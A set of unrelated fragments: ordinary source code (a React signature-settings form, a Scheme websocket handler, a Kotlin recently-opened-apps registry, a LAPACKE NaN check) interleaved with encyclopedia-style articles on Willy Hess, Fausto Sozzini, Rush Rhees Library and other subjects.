const [loading, withLoading] = useLoading();
const [editorReady, setEditorReady] = useState(false);
const [displayName, setDisplayName] = useState(address.DisplayName);
const [signatureUpdated, setSignatureUpdated] = useState(false);
const { createNotification } = useNotifications();
const { viewportWidth } = useActiveBreakpoint();
const editorWrapperRef = useRef<HTMLDivElement>(null);
const editorRef = useRef<EditorActions>();
const handleReady = (actions: EditorActions) => {
actions.setContent(address.Signature);
editorRef.current = actions;
setEditorReady(true);
};
const handleDisplayName = ({ target }: ChangeEvent<HTMLInputElement>) => {
setDisplayName(target.value);
};
const handleSubmit = async () => {
const signature = signatureUpdated ? (editorRef.current?.getContent() as string) : address.Signature;
await api(
updateAddress(address.ID, {
DisplayName: displayName,
Signature: formatSignature(signature),
})
);
await call();
createNotification({ text: c('Success').t`Address updated` });
};
useHotkeys(editorWrapperRef, [
[
['Meta', 'Enter'],
() => {
if (mailSettings.Shortcuts) {
void withLoading(handleSubmit());
}
},
],
]);
// On address change
useEffect(() => {
setDisplayName(address.DisplayName);
setTimeout(() => {
if (editorRef?.current && editorReady) {
setSignatureUpdated(false);
editorRef.current.setContent(address.Signature);
}
}, 100);
}, [address]);
const { openEmojiPickerRef, toolbarConfig, setToolbarConfig, modalLink, modalImage, modalDefaultFont } = useToolbar(
{}
);
return (
<form
onSubmit={async (e) => {
e.preventDefault();
await withLoading(handleSubmit());
}}
>
<SettingsLayout>
<SettingsLayoutLeft>
<label htmlFor="displayName" className="text-semibold">
{c('Label').t`Display name`}
</label>
</SettingsLayoutLeft>
<SettingsLayoutRight>
<Input
id="displayName"
value={displayName}
placeholder={c('Placeholder').t`Choose display name`}
onChange={handleDisplayName}
data-testid="settings:identity-section:display-name"
/>
</SettingsLayoutRight>
</SettingsLayout>
<SettingsLayout stackEarlier className="max-w-custom" style={{ '--max-w-custom': '49em' }}>
<SettingsLayoutLeft>
{/* eslint-disable-next-line */}
<label htmlFor="editor" className="text-semibold" onClick={() => editorRef.current?.focus()}>
{c('Label').t`Signature`}
</label>
</SettingsLayoutLeft>
<SettingsLayoutRight>
<div ref={editorWrapperRef} tabIndex={-1}>
<Editor
onReady={handleReady}
onChange={() => {
setSignatureUpdated(true);
}}
simple
openEmojiPickerRef={openEmojiPickerRef}
toolbarConfig={toolbarConfig}
setToolbarConfig={setToolbarConfig}
modalLink={modalLink}
modalImage={modalImage}
modalDefaultFont={modalDefaultFont}
isSmallViewportForToolbar={viewportWidth['<=medium']}
mailSettings={mailSettings}
/>
</div>
<Button
color="norm"
type="submit"
disabled={loading}
loading={loading}
className="mt-4"
data-testid="settings:identity-section:update"
>
{c('Action').t`Update`}
</Button>
</SettingsLayoutRight>
</SettingsLayout>
</form>
);
};
export default EditAddressesSection;
``` |
Willy Hess (12 October 1906 – 9 May 1997) was a Swiss musicologist, composer, and famous Beethoven scholar. He achieved fame after compiling and publishing a catalogue of works of Beethoven that were not listed in the "complete" edition. He orchestrated the Piano Concerto No. 0, in E-flat from a piano score.
Life
Hess was born in Winterthur, where he attended primary and high school, and later studied at the Zurich Conservatory (merged in 1999 into the School of Music, Drama, and Dance (HMT), itself merged in 2007 into the Zurich University of the Arts (ZHdK)) and at the University. He also taught piano, counterpoint, composition, and wrote about music.
Among other works, he wrote "3 Ländler, Op. 28 for 4-hand piano duet. He also wrote a Sonata for Viola and Bassoon, the only classical-style chamber work written for that combination of instruments.
He also was a bassoonist with the Winterthur Stadtorchester from 1942 to 1971.
He died in Winterthur.
Bibliography
James F. Green: The New Hess Catalog of Beethoven's Works'' (Vance Brook Publishing, 2003),
See also
Vestas Feuer — A Beethoven operatic fragment first completed and published by Hess.
List of compositions by Ludwig van Beethoven
References
1906 births
1997 deaths
20th-century Swiss historians
20th-century Swiss composers
20th-century musicologists
Beethoven scholars
People from Winterthur
Swiss classical bassoonists
Swiss classical composers
Swiss musicologists
Zurich University of the Arts alumni |
Rush Rhees Library is the main academic library of the University of Rochester in Rochester, New York. It is one of the most visible and recognizable landmarks on the university's River Campus. Construction began in 1927 with the other original River Campus buildings and the library was dedicated in 1930. It is named after Benjamin Rush Rhees, the university's third president. A major addition was added in 1970, which now houses the main computer lab, additional stacks and office space. Rush Rhees is the flagship of the River Campus Libraries System, which holds about 3 million volumes. The library featured an elevator completely original from 1930 until 2021 when it received a full modernization.
Rush Rhees Tower
Rush Rhees Tower stands high and houses the Hopeman Memorial Carillon, the largest musical instrument in the city and one of only six in New York. It features 50 bells imported from the Netherlands and weighs in at 6,668 lb (3,025 kg). The carillon chimes on the quarter-hour and weekly recitals are given by students and guests. An annual recital series is held during the summer.
Rossell Hope Robbins Library
Located on the 4th floor of Rush Rhees is the Rossell Hope Robbins Library, which houses a non-circulating medieval studies collection of more than 20,000 volumes. In addition to its holdings in all aspects of Middle English Literature, it also contains holdings in Old English, Anglo-Norman, and medieval French literature; medieval history, philosophy, theology, and art; manuscript studies; witchcraft; and Arthurian and Robin Hood studies. The collection was donated by medievalist Rossell Hope Robbins and his wife Helen Ann Mins Robbins in 1987 and, at the time, appraised for more than $750,000. Robbins also set provisions for new acquisitions and established a trust of $160,000 for a fellowship program.
References
External links
River Campus Libraries
Rush Rhees Library
Hopeman Memorial Carillon
1930 establishments in New York (state)
Bell towers in the United States
Educational buildings in Rochester, New York
Carillons
Library buildings completed in 1930
Libraries in New York (state)
Tourist attractions in Rochester, New York
University and college academic libraries in the United States
University of Rochester |
Fausto Paolo Sozzini, or simply Fausto Sozzini (; ; 5 December 1539 – 4 March 1604), was an Italian Renaissance humanist and theologian, and, alongside his uncle Lelio Sozzini, founder of the Nontrinitarian Christian belief system known as Socinianism. His doctrine was developed among the Polish Brethren in the Polish Reformed Church between the 16th and 17th centuries, and embraced by the Unitarian Church of Transylvania during the same period.
Fausto Sozzini recollected most of his uncle Lelio's religious writings by traveling over again his routes throughout early modern Europe, and systematized his Antitrinitarian beliefs into a coherent theological doctrine. His polemical treatise De sacrae Scripturae auctoritate (written in the years 1580s and published in England in 1732, with the title A demonstration of the truth of the Christian religion, from the Latin of Socinius) was highly influential on Remonstrant thinkers such as Simon Episcopius, who drew on Sozzini's arguments for viewing the sacred scriptures as historical texts.
Life
Sozzini was born in Siena, capital city of the Republic of Siena, at the time under the rule of the Holy Roman Empire. He was the only son of Alessandro Sozzini and Agnese Petrucci, daughter of Borghese Petrucci (born in 1490), and granddaughter of Pandolfo Petrucci.
His father Alessandro Sozzini, the oldest of eleven brothers, was born in 1509 but died in 1541, in his thirty-second year. Fausto had no regular education, being brought up at home with his sister Fillide, and spent his youth in desultory reading at Borgo Scopeto, the family's country-seat. To the able women of his family he owed the strong moral impress which marked him through life; his early intellectual stimulus came from his uncle Celso Sozzini, a nominal Roman Catholic, but an esprit fort, founder of the short-lived Accademia del Sizienti (1554), of which young Fausto was a member.
In 1556 his grandfather Mariano Sozzini the younger's will, left Fausto, as only son of the oldest son, one fourth of the family estates, which made him independent. Next year he entered the Accademia degli Intronati, the centre of intellectual life in Siena. He joined with the name Frastagliato, while Celso had the name Sonnacchioso. About this time the jurist Guido Panciroli describes him as a young man of fine talent, with promise of a legal career; but he showed little interest for law, preferring to write sonnets.
In 1558–1559 the suspicion of Lutheranism fell on him in common with his uncles Celso and Camillo.
Lyons and Geneva
Coming of age (1561) he went to Lyon, probably engaging in mercantile business; he revisited Italy after his uncle Lelio Sozzini's death; we find him in 1562 on the roll of the Italian church at Geneva; there is no trace of any relations with Calvin. He returned next year to Lyon. The evangelical position was not radical enough for him. In his Brevis explicatio (Lyons, 1562) of the prologue to St John's Gospel he already attributes to Christ an official, not an essential, deity – already an anti-Trinitarian position; and in a letter of 1563 rejects the immortality of the soul in favour of Christian mortalism; a position subsequently developed in his disputation with the humanist Francesco Pucci.
Florence
Towards the end of 1563 he returned to Italy, conforming to the Roman Catholic Church, and for twelve years, as, his unpublished letters show, was in the service of Isabella de Medici, daughter of the grandduke Cosimo of Tuscany (not, as Samuel Przypkowski says, in the service of the grandduke himself). Between 1565 and 1568 he wrote the essay Il Frastagliato Intronato. This portion of his life he regarded as wasted; until 1567 he gave some attention to legal duties, and wrote (1570) his treatise De auctoritate s. scripturae.
In 1571 he was in Rome, probably with his patroness. He left Italy at the end of 1575, and after Isabella's death (allegedly strangled by her husband in 1576) and declined the overtures of her brother Francesco, now grand-duke, who pressed him to return. Francesco was doubtless aware of the motive which led Sozzini to quit Italy; there is every reason to believe Samuel Przypkowski's statement that the grand-duke agreed to secure to him the income of his property so long as he published nothing in his own name.
Basel
Sozzini now fixed himself at Basel, gave himself to close study of the Bible, began translating the Psalms into Italian verse, and, in spite of increasing deafness, became a centre of theological debates. His discussion with Jacques Couet on the doctrine of salvation issued in a treatise De Jesu Christo servatore (finished 12 July 1578), the circulation of which in manuscript commended him to the notice of Giorgio Biandrata, court physician in Poland and Transylvania, and ecclesiastical wire puller in the interests of heterodoxy.
Transylvania
Transylvania for a short time (1559–1571) enjoyed full religious liberty under the first unitarian prince, John Sigismund.
The current existing ruler, Christopher Bathory, favoured the Jesuits; it was now Biandrata's object to limit the Judaic tendencies of the eloquent anti-Trinitarian bishop, Ferenc Dávid (1510–1579), with whom he had previously co-operated. A charge of the gravest sort against Biandrata's morals had destroyed his influence with David. Hence he called in Sozzini to reason with Dávid, who had renounced the worship of Christ. In Sozzini's scheme of doctrine, terms in themselves orthodox were employed in a heretical sense.
In matter of worship Sozzini distinguished between adoratio Christi, the homage of the heart, imperative on all Christians, and invocatio Christi, the direct address of prayer, which was simply permissive (Biandrata would have made it imperative); though in Sozzini's view, prayer, to whomsoever addressed, was received by Christ as mediator, for transmission to the father.
In November 1578 Sozzini reached Kolozsvár from Poland, and did his best, during a visit of four months and a half under Dávid's roof, to argue him into this modified doctrine of invocation. The upshot was that Dávid exerted all his powers in denouncing all cultus of Christ from the pulpit. Dávid's civil trial followed, on a charge of innovation. Sozzini hurried back to Poland before it began. He cannot be accused of complicity with the actions of Biandrata; he was no party to David's incarceration at the Fortress of Déva, where the old man miserably perished in less than three months. He was willing that Dávid should be prohibited from preaching pending the decision of a general synod; and his references to the case show that (as in the later instances of Jacobus Palaeologus, Christian Franken and Martin Seidel) theological aversions, though they never made him uncivil, froze up his native kindness and blinded his perceptions of character.
Biandrata ultimately conformed to the Catholic Church; hence Sozzini's laudatory dedication to him (1584) of his De Jesu Christi natura, in reply to the Calvinist Andrew Wolan, though printed in his works, was not used.
Poland
The remainder (1579–1604) of Sozzini's life was spent in Poland. Excluded at first by his views on baptism (which he regarded as applicable only to Gentile converts) from the Ecclesia Minor or anti-Trinitarian Church (largely anabaptist), he acquired by degrees a predominant influence in its synods.
He was asked by the Polish Brethren to take up the position of a champion of conscientious objection against the Belarusian Symon Budny and the Greek Unitarian Jacobus Palaeologus after Gregory Pauli of Brzeziny had become indisposed, and thereby gained some respect among the Poles.
Fausto Sozzini converted the Arian section of the Ecclesia Minor from belief in the pre-existence of Christ to the early Unitarian position, and from their rejection of the invocatio Christi. He repressed the semi-Judaizers whom he failed to convince. Through correspondence with friends he influenced also the policy of the anti-Trinitarian Church of Transylvania.
Forced to leave Kraków in 1583, he found a home with a Polish noble, Christopher Morsztyn, whose daughter Elizabeth he married (1586). She died in the following year, a few months after the birth of a daughter, Agnese (1587–1654), afterwards the wife of Stanisław Wiszowaty, father of Andreas Wiszowaty, and the progenitress of numerous descendants. In 1587 the grand-duke Francesco died; to this event Sozzini's biographers attribute the loss of his Italian property, but his unpublished letters show that he was on good terms with the new grand-duke, Ferdinando. Family disputes had arisen respecting the interpretation of his grandfather's will; in October 1590 the holy office at Siena disinherited him, allowing him a pension, apparently never paid.
The end of financial remittances from his property in Italy dissolved the agreement under which his writings were to remain anonymous, and Sozzini began to publish in his own name. The consequence was that in 1598 a mob expelled him from Kraków, wrecking his house, and beating him. Friends gave him a ready welcome at Luslawice, 30 miles east from Kraków; and here, having long been "troubled with colic and the stone", he died on 4 March 1604. A limestone block with illegible inscriptions marks his grave. His engraved portrait is prefixed to his works (the original is not extant); an oil painting, formerly at Siena, cannot be considered authentic.
Works
Sozzini's works, edited by his grandson Andrzej Wiszowaty and the learned printer Frans Kuyper, are contained in two closely printed folios (Amsterdam, 1668). They rank as the first two volumes of the Bibliotheca fratrum polonorum though the works of Johann Crell and Jonas Schlichting were the first of the series to be printed. They include all Sozzini's extant theological writings, except his essay on predestination (in which he denies that God foresees the actions of free agents) prefixed to Castellio's Dialogi IV (1575, reprinted 1613) and his revision of a school manual Instrumentum doctrinarum aristotelium (1586).
His pseudonyms, easily interpreted, were Felix Turpio Urhevetanus, Prosper Dysidaeus, Gratianus Prosper and Gratianus Turpio Gerapolensis (Senensis). Some of his early verse is in Ferentillis Scielta di stanze di diversi autori toscani (1579, 1594); other specimens are given in Cant and in the Athenaeum (Aug. II, 1877); more are preserved at Siena.
Sozzini considered that his ablest work was his Contra atheos, which perished in the riot at Kraków (1598). Later he began, but left incomplete, more than one work designed to exhibit his system as a whole.
His reputation as a thinker must rest upon the De auctoritate scripturae sacrae (1570) and De Jesu Christo servatore (1578). The former was first published (Seville [London, John Wolfe], 1588) by López, a Jesuit, who claimed it as his own, but prefixed a preface maintaining (contrary to a fundamental position of Sozzini) that man by nature has a knowledge of God. A French version (1592) was approved by the ministers of Basel; the English translation by Rev. Edward Coombe (Somerset 1731) was undertaken in consequence of the commendation in a charge (1728) by Bishop Richard Smalbroke, who observes that Grotius had borrowed from it in his De veritate Christ. rel.. In small compass it anticipates the historical argument of the credibility writers; in trying it by modern tests, it should be remembered that Sozzini, regarding it (1581) as not adequately meeting the cardinal difficulties attending the proof of the Christian religion, began to reconstruct its positions in his Lectiones sacrae (unfinished). His treatise on the Saviour renders a real service to theology, placing orthodoxy and heresy in new relations of fundamental antagonism, and narrowing the conflict to the main personal benefit of religion.
Of the person of Christ in this treatise he says nothing; its one topic is the work of Christ, which in his view operates upon man alone; the theological sagacity of Sozzini may be measured by the persistency with which this idea tends to recur. Though his name has been attached to a school of opinion, he disclaimed the rôle of a heresiarch, and declined to give his unreserved adhesion to any one sect. His confidence in the conclusions of his own mind has earned him the repute of a dogmatist; but it was his constant aim to reduce and simplify the fundamentals of Christianity. Not without some ground does the memorial tablet at Siena (inscription by prof. Giovanni Brigidi 1879) characterize him as vindicator of human reason against the supernatural.
Of his non-theological doctrines the most important is his assertion of the unlawfulness not only of war, but of the taking of human life in any circumstances. Hence the comparative mildness of his proposals for dealing with religious and anti-religious offenders, though it cannot be said that he had grasped the complete theory of toleration. Hence, too, his contention that magisterial office is unlawful for a Christian.
See also
Arianism
Catholic Inquisition
English Dissenters
Heresy in Christianity
History of Christian theology
Polish Brethren
Racovian Catechism
Remonstrants
Unitarianism
Notes
References
Bibliography
External links
Sozzini's complete works were published in Vol. 1 of Biblioteca Fratrum Polonorum 1686.
Bibliotheca Fratrum Polonorum online
Works by Fausto Sozzini in digital library Polona
1539 births
1604 deaths
16th-century Christian biblical scholars
16th-century Italian writers
16th-century male writers
16th-century writers in Latin
16th-century Polish writers
16th-century Protestant theologians
17th-century Christian biblical scholars
17th-century Italian writers
17th-century male writers
17th-century writers in Latin
17th-century Polish writers
17th-century Protestant theologians
Antitrinitarians
Converts to Unitarianism from Catholicism
Critics of the Catholic Church
Immigrants to the Holy Roman Empire
Italian emigrants
Emigrants from the Holy Roman Empire to the Dutch Republic
Fausto
Immigrants to the Polish–Lithuanian Commonwealth
Italian biblical scholars
Italian Christian theologians
Italian emigrants to England
Italian expatriates in France
Italian expatriates in Poland
Italian expatriates in Switzerland
Italian Protestants
Italian Renaissance humanists
Italian Unitarians
Latin-language writers from Italy
People from the Principality of Transylvania
Polish people of Italian descent
Polish Unitarian theologians
Victims of the Inquisition
Writers from Siena |
```scheme
;;; -*- Gerbil -*-
;;; vyzo
;;; websocket server interface
(import :std/io
:std/net/httpd
:std/crypto/digest
:std/text/base64
:std/text/utf8
:gerbil/gambit
./interface
./socket)
(export websocket-request-handler)
(def +websocket-version+ "13")
(def +websocket-magic+ "258EAFA5-E914-47DA-95CA-C5AB0DC85B11")
;; Creates an httpd handler that handles ws/wss requests
;; - continue is a procedure that receives a newly accepted websocket to handle
;; the request. When this process returns the handler closes the request.
;; - protocol is a procedure to select a protocol, if the client has specified
;; a protocol list. It should accept a string, which can be either a protocol
;; or a comman separated list of protocols.
;; It should return either the selected protocol or #f if it cannot select a protocol,
;; indicating that the connection should be closed.
(def (websocket-request-handler continue select-protocol
max-frame-size: (max-frame-size default-max-frame-size))
(using ((continue :~ procedure?)
(select-protocol :~ procedure?))
(lambda (req res)
(websocket-handle-request req res continue select-protocol max-frame-size))))
(def (websocket-handle-request req res continue select-protocol max-frame-size)
(def (bad-request! message)
(http-response-write res 400 [["Sec-Websocket-Version" . +websocket-version+]] message)
(raise 'bad-request))
(let* ((request-headers (http-request-headers req))
(_ (alet (version (aget "Sec-Websocket-Version" request-headers))
(unless (equal? version +websocket-version+)
(bad-request! "unsupported websocket protocol version"))))
(proto
(alet (request-proto (aget "Sec-Websocket-Protocol" request-headers))
(cond
((select-protocol (string-split request-proto #\,)))
(else
(bad-request! "unsupported websocket protocol")))))
(auth
(alet (nonce64 (aget "Sec-Websocket-Key" request-headers))
(let* ((digest (make-digest digest::sha1))
(_ (digest-update! digest (string->utf8 nonce64)))
(_ (digest-update! digest (string->utf8 +websocket-magic+)))
(auth (digest-final! digest)))
(base64-encode auth))))
;; TODO do we need any more headers?
(upgrade-headers
[["Upgrade" . "websocket"]
(if auth
[["Sec-Websocket-Accept" . auth]]
[])
...
(if proto
[["Sec-Websocket-Protocol" . proto]]
[])
...])
((values sock reader writer)
(http-response-upgrade! res upgrade-headers)))
(continue
(WebSocket (make-websocket sock reader writer
#t ; server socket
proto
max-frame-size)))))
``` |
Albert Pendarvis, commonly known as The Old Trailblazer, is an American Christian radio broadcaster.
Radio Missions
Pendarvis is the pastor of Radio Missions, a ministry formerly based in Algiers, New Orleans, United States. The founder of this ministry was L. R. Shelton Sr.; Pendarvis is the fifth pastor of the work.
The overall ministry is named Radio Missions. The church itself is called the First Baptist Church of Algiers. The church formerly met in the Metropolitan Tabernacle, a former vaudeville theater in Algiers. Two international radio broadcasts (in America, Northern Ireland, and now shortwave) originate from the ministry: the Voice of Truth (a weekly 30-minute broadcast of Shelton Sr.'s messages) and the Old Trailblazer (a weekday 15-minute broadcast by Pendarvis). The local church broadcasts its two Sunday morning services, the Bible School of the Air and the Worship Hour, on WVOG in New Orleans and all of its services on the internet. The radio broadcasts produced by the ministry are heard on over 130 radio stations. In addition, the ministry operates in several other areas, including a bookstore called the Radio Bible and Bookroom, which sells Bibles and Christian books and the Old Puritan Press, which produces printed materials. The ministry also publishes a quarterly magazine, The Voice of Truth.
In 2005, Hurricane Katrina destroyed Radio Missions' facilities in Algiers, and the ministry relocated to their chapel in Baton Rouge, near Pendarvis' home. The ministry did not miss any broadcast of their radio programs or church services during this transition.
Doctrinal position
The Radio Missions Ministry is Calvinist in their Theology; and while they are not part of any denomination, the ministry believes the London Baptist Confession and they are Reformed Baptists on the order of Charles Spurgeon or Arthur Pink. The books sold by the ministry are predominantly from this point of view.
The Ministry is strongly dispensationalist in its eschatology, and has numerous teaching series by Pendarvis and his predecessor Shelton available which discuss the Book of Revelation from this perspective. Similarly, the Ministry teaches the premillennial view of eschatology. (The Ministry bookstore sells the Scofield Reference Bible and speakers reference it occasionally.)
The primary emphasis of the Ministry is on "awakening" sinners, that is showing mankind its sinful condition (the total depravity doctrine), and pointing to Christ the Remedy for those who are convicted of their need (or awakened) and fully see their lost and helpless condition before God, showing their only hope is found in Jesus Christ. Almost every message sent out by the ministry stresses this in some way or other. The reason for this is their primary belief that, through shallow evangelism, many people have slipped into the Christian profession without conviction, knowing neither new birth nor repentance nor true faith in the Crucified Saviour. Radio Missions claims to be one of the few strictly Calvinist voices in religious broadcasting.
Mission places
Radio Missions has several small groups which meet in "mission places" (as they call them) for services. These are scattered throughout the immediate area of New Orleans, including Texas, Alabama, Louisiana, and Mississippi. Pastor Pendarvis personally visits these mission places periodically to preach and has several lay pastors who visit these missions.
Fellowship Day
Radio Missions has a Fellowship Day in both the spring and fall where local church members and listeners to their broadcasts from across the Nation meet for fellowship, food, singing, and services. Until 2005, when Katrina forced a relocation, this was held at the church in Algiers, New Orleans. Recent Fellowship Day meetings have been held at the Baton Rouge facility. Typically, these meetings have extra services which are broadcast over the Internet.
King James Only advocacy
King James Only advocacy is not a major emphasis of the Radio Missions Ministry, but the Old Trailblazer radio program frequently touches upon this topic. The Radio Bible and Book Room sells many books and audio presentations by King James Only advocates. The bookstore sells only the King James Bible text, and no other version. In fact, Albert Pendarvis has stated that the King James Version is the "only verbally inspired" translation available today.
The Old Trailblazer broadcast featured a lengthy series of messages on the so-called "Anti-Christ Bible" (the Revised Standard Version), based on notes by L. R. Shelton Sr.
References
External links
Radio Missions web site, which includes radio logs, the Radio Bible and Book Room, and transcribed sermons by pastor L.R. Shelton.
L.R. Shelton III, the grandson of Radio Missions founder L. R. Shelton Sr., has a web site critical of doctrinal aspects of Shelton Sr.'s ministry. This site includes an essay by Shelton III concerning what he perceives as errors in the ministry of Radio Missions.
Living people
Radio personalities from New Orleans
King James Only movement
Baptist Christianity in Louisiana
Religious leaders from Louisiana
Year of birth missing (living people) |
Centenary Methodist Church, also known as Centenary Memorial United Methodist Church, is a historic Methodist church located at 2585 NC 130 E near Rowland, Robeson County, North Carolina. It was built in 1885, and enlarged and modified in the Classical Revival style in 1903. It is a one-story, gable front frame building with a rectangular steeple and vestibule. A gable-front portico with cornice returns, supported by two slender wood columns, was added to the church in 1982. Adjacent to the church is the contributing cemetery with approximately 160 marked graves.
It was added to the National Register of Historic Places in 2007.
References
Methodist churches in North Carolina
Churches on the National Register of Historic Places in North Carolina
Neoclassical architecture in North Carolina
Churches completed in 1885
19th-century Methodist church buildings in the United States
Buildings and structures in Robeson County, North Carolina
National Register of Historic Places in Robeson County, North Carolina
1885 establishments in North Carolina
Neoclassical church buildings in the United States |
Andrey Anatolyevich Makarov (; born January 2, 1971) is a Russian-born retired male race walker who competed internationally for Belarus after obtaining citizenship in 1998. He set his personal best (1:18.23) in the men's 20 km event on May 13, 2000 in Soligorsk.
Achievements
References
sports-reference
1971 births
Living people
Russian male racewalkers
Belarusian male racewalkers
Athletes (track and field) at the 2000 Summer Olympics
Olympic athletes for Belarus |
```kotlin
package expo.modules.devlauncher.launcher
import android.content.Context
import android.content.SharedPreferences
import android.net.Uri
import com.google.gson.Gson
import expo.modules.manifests.core.Manifest
private const val RECENTLY_OPENED_APPS_SHARED_PREFERENCES = "expo.modules.devlauncher.recentyopenedapps"
private const val TIME_TO_REMOVE = 1000 * 60 * 60 * 24 * 3 // 3 days
data class DevLauncherAppEntry(
val timestamp: Long,
val name: String?,
val url: String?,
val isEASUpdate: Boolean?,
val updateMessage: String?,
val branchName: String?
)
class DevLauncherRecentlyOpenedAppsRegistry(context: Context) {
private val sharedPreferences: SharedPreferences = context.getSharedPreferences(RECENTLY_OPENED_APPS_SHARED_PREFERENCES, Context.MODE_PRIVATE)
fun appWasOpened(url: String, queryParams: Map<String, String>, manifest: Manifest?) {
var appEntry = mutableMapOf<String, Any>()
val uri = Uri.parse(url)
if (sharedPreferences.contains(url)) {
val previousEntryJsonString = sharedPreferences.getString(url, null)
val previousEntry = Gson().fromJson(previousEntryJsonString, Map::class.java)
appEntry = previousEntry.toMutableMap() as MutableMap<String, Any>
}
val timestamp = TimeHelper.getCurrentTime()
val isEASUpdate = uri.host === "u.expo.dev" || uri.host == "staging-u.expo.dev"
appEntry["isEASUpdate"] = isEASUpdate
if (isEASUpdate) {
if (queryParams["updateMessage"] != null) {
appEntry["updateMessage"] = queryParams["updateMessage"] as String
}
}
if (manifest != null) {
appEntry["name"] = manifest.getName() as String
// TODO - expose metadata object in expo-manifests
val json = manifest.getRawJson()
if (isEASUpdate) {
val metadata = json.getJSONObject("metadata")
appEntry["branchName"] = metadata["branchName"] ?: ""
}
}
appEntry["timestamp"] = timestamp
appEntry["url"] = url
sharedPreferences
.edit()
.putString(url, Gson().toJson(appEntry))
.apply()
}
fun getRecentlyOpenedApps(): List<DevLauncherAppEntry> {
val result = mutableListOf<DevLauncherAppEntry>()
val toRemove = mutableListOf<String>()
val gson = Gson()
sharedPreferences.all.forEach { (url, appEntryString) ->
val appEntry = gson.fromJson(appEntryString as String, DevLauncherAppEntry::class.java)
if (TimeHelper.getCurrentTime() - appEntry.timestamp > TIME_TO_REMOVE) {
toRemove.add(url)
return@forEach
}
result.add(appEntry)
}
sharedPreferences.edit().apply {
toRemove.forEach {
remove(it)
}
}.apply()
return result
}
fun getMostRecentApp(): DevLauncherAppEntry? {
val recentlyOpenedApps = getRecentlyOpenedApps()
return if (recentlyOpenedApps.isNotEmpty()) {
recentlyOpenedApps.maxByOrNull { it.timestamp }
} else {
null
}
}
fun clearRegistry() {
sharedPreferences.edit().clear().apply()
}
object TimeHelper {
fun getCurrentTime() = System.currentTimeMillis()
}
}
``` |
John Sinclair, MBE (1898 – January 1979 in Thurso) was a Scottish official who served as the Lord Lieutenant of Caithness and the Provost of Thurso until his death in the 1970s. He was also a Grand Master of the Thurso Masonic Lodge. Sinclair was appointed Lord Lieutenant of Caithness the 10th of December 1965.
Sinclair was from a large seafaring family that has lived in the 'Fisher Biggins' area of Thurso for centuries. His father John was a ship captain; his grandfather Alexander was a fisherman; and his great-grandfather Donald was captain aboard a fishing vessel in Thurso known as the 'Iris'. His brother Daniel Sinclair served in the Royal Navy during World War II. He was also known as 'Long John Sinclair' because of his height.
John Sinclair died in January 1979.
References
External links
The Voyage of the Iris to Norway
The Opening of Thurso Fire Station
1898 births
1979 deaths
Lord-Lieutenants of Caithness
People from Thurso
Scottish Freemasons |
"It's a Matter of Time'" is a song written by Clive Westlake and recorded in 1972 by Elvis Presley.
It was recorded by him during the March 27–29, 1972 recording session at the RCA Studios in Nashville.
The song was first released in August 1972 as a B-side to "Burning Love" and then in November on the album Burning Love and Hits from His Movies, Volume 2.
Critical response
Billboard in its August 12, 1972 issue put the single "Burning Love / It's a Matter of Time" on the recommended list (New Radio Action Billboard Pick Singles, section "Pop").
Reception
While the A-side ("Burning Love") made it to number two on the Hot 100, the flip side ("It's a Matter of Time") charted both on the Billboard Easy Listening and Hot Country Singles charts.
"Burning Love / It's a Matter of Time" became the last Elvis Presley's single to be certified platinum.
Charts
* as "It's a Matter of Time"
* as "It's a Matter of Time / Burning Love"
References
1972 songs
1972 singles
Elvis Presley songs
RCA Records singles
Songs written by Clive Westlake |
```c
/*****************************************************************************
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Intel Corporation nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
******************************************************************************
* Contents: Native C interface to LAPACK utility function
* Author: Intel Corporation
*****************************************************************************/
#include "lapacke_utils.h"
/* Check a matrix for NaN entries.
* Since matrix in packed format stored continuously it just required to
* check 1d array for NaNs. It doesn't depend upon uplo or matrix_layout.
*/
lapack_logical API_SUFFIX(LAPACKE_dtp_nancheck)( int matrix_layout, char uplo, char diag,
lapack_int n,
const double *ap )
{
lapack_int i, len;
lapack_logical colmaj, upper, unit;
if( ap == NULL ) return (lapack_logical) 0;
colmaj = ( matrix_layout == LAPACK_COL_MAJOR );
upper = API_SUFFIX(LAPACKE_lsame)( uplo, 'u' );
unit = API_SUFFIX(LAPACKE_lsame)( diag, 'u' );
if( ( !colmaj && ( matrix_layout != LAPACK_ROW_MAJOR ) ) ||
( !upper && !API_SUFFIX(LAPACKE_lsame)( uplo, 'l' ) ) ||
( !unit && !API_SUFFIX(LAPACKE_lsame)( diag, 'n' ) ) ) {
/* Just exit if any of input parameters are wrong */
return (lapack_logical) 0;
}
if( unit ) {
/* Unit case, diagonal should be excluded from the check for NaN. */
/* Since col_major upper and row_major lower are equal,
* and col_major lower and row_major upper are equals too -
* using one code for equal cases. XOR( colmaj, upper )
*/
if( ( colmaj || upper ) && !( colmaj && upper ) ) {
for( i = 1; i < n; i++ )
if( API_SUFFIX(LAPACKE_d_nancheck)( i, &ap[ ((size_t)i+1)*i/2 ], 1 ) )
return (lapack_logical) 1;
} else {
for( i = 0; i < n-1; i++ )
if( API_SUFFIX(LAPACKE_d_nancheck)( n-i-1,
&ap[ (size_t)i+1 + i*((size_t)2*n-i+1)/2 ], 1 ) )
return (lapack_logical) 1;
}
return (lapack_logical) 0;
} else {
/* Non-unit case - just check whole array for NaNs. */
len = n*(n+1)/2;
